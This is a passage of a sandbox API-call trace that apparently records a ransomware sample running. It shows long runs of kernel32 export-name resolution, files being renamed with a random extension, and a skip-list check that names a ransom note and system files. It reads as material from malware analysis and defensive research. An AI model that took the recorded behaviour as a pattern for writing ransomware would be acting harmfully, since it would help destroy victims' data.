lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0110.591] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0110.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0110.591] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0110.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0110.591] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0110.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0110.591] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0110.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0110.591] lstrlenA (lpString="CLOSESTATE") returned 10 [0110.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0110.591] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0110.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0110.591] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0110.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0110.591] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0110.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0110.591] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0110.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0110.591] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0110.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0110.591] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0110.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0110.591] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0110.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0110.591] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0110.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0110.591] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0110.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0110.591] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0110.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0110.591] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0110.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0110.591] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0110.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0110.592] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0110.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0110.592] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0110.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0110.592] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0110.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0110.592] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0110.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0110.592] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0110.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0110.592] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0110.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0110.592] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0110.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0110.592] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0110.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0110.592] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0110.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0110.592] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0110.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0110.592] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0110.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0110.592] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0110.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0110.592] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0110.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0110.592] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0110.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0110.592] lstrlenA (lpString="COPYCONTEXT") returned 11 [0110.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0110.592] lstrlenA (lpString="COPYFILE2") returned 9 [0110.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0110.593] lstrlenA (lpString="COPYFILEA") returned 9 [0110.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0110.593] lstrlenA (lpString="COPYFILEEXA") returned 11 [0110.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0110.593] lstrlenA (lpString="COPYFILEEXW") returned 11 [0110.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0110.593] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0110.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0110.593] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0110.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0110.593] lstrlenA (lpString="COPYFILEW") returned 9 [0110.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0110.593] lstrlenA (lpString="COPYLZFILE") returned 10 [0110.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0110.593] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0110.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0110.593] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0110.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0110.593] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0110.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0110.593] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0110.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0110.593] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0110.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0110.593] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0110.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0110.593] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0110.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0110.593] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0110.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0110.593] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0110.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0110.594] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0110.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0110.594] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0110.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0110.594] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0110.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0110.594] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0110.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0110.594] lstrlenA (lpString="CREATEEVENTA") returned 12 [0110.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0110.594] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0110.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0110.594] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0110.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0110.594] lstrlenA (lpString="CREATEEVENTW") returned 12 [0110.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0110.594] lstrlenA (lpString="CREATEFIBER") returned 11 [0110.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0110.594] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0110.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0110.594] lstrlenA (lpString="CREATEFILE2") returned 11 [0110.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0110.594] lstrlenA (lpString="CREATEFILEA") returned 11 [0110.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0110.594] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0110.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0110.594] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0110.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0110.594] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0110.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0110.594] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0110.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0110.594] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0110.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0110.595] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0110.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0110.595] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0110.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0110.595] lstrlenA (lpString="CREATEFILEW") returned 11 [0110.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0110.595] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0110.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0110.595] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0110.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0110.595] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0110.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0110.595] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0110.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0110.595] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0110.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0110.595] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0110.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0110.595] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0110.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0110.595] lstrlenA (lpString="CREATEJOBSET") returned 12 [0110.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0110.595] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0110.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0110.595] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0110.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0110.595] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0110.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0110.595] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0110.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0110.595] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0110.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0110.596] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0110.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0110.596] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0110.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0110.596] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0110.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0110.596] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0110.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0110.596] lstrlenA (lpString="CREATEPIPE") returned 10 [0110.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0110.596] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0110.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0110.596] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0110.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0110.596] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0110.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0110.596] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0110.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0110.596] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0110.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0110.596] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0110.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0110.596] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0110.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0110.596] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0110.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0110.596] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0110.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0110.596] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0110.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0110.596] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0110.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0110.596] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0110.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0110.596] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0110.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0110.597] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0110.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0110.597] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0110.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0110.597] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0110.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0110.597] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0110.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0110.597] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0110.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0110.597] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0110.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0110.597] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0110.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0110.597] lstrlenA (lpString="CREATETHREAD") returned 12 [0110.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0110.597] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0110.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0110.597] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0110.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0110.597] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0110.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0110.597] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0110.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0110.597] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0110.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0110.597] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0110.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0110.597] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0110.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0110.598] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1025\\eula.rtf.Q9dHlR") returned 42 [0110.598] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.Q9dHlR" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.q9dhlr"), dwFlags=0x0) returned 1 [0110.598] VirtualFree (lpAddress=0x3b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0110.599] VirtualFree (lpAddress=0x3b80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0110.599] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0110.599] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0110.599] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="DECRYPT-FILES.html") returned 1 [0110.599] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="autorun.inf") returned 1 [0110.599] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="boot.ini") returned 1 [0110.600] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="desktop.ini") returned 1 [0110.600] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat") returned -1 [0110.600] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="iconcache.db") returned 1 [0110.600] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="bootsect.bak") returned 1 [0110.600] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat.log") returned -1 [0110.600] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="thumbs.db") returned -1 [0110.600] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="Bootfont.bin") returned 1 [0110.600] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\") returned 27 [0110.600] lstrlenW (lpString="LocalizedData.xml") returned 17 [0110.600] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1025\\" | out: lpString1="C:\\588bce7c90097ed212\\1025\\") returned="C:\\588bce7c90097ed212\\1025\\" [0110.600] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1025\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" [0110.600] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0110.600] CreateFileW 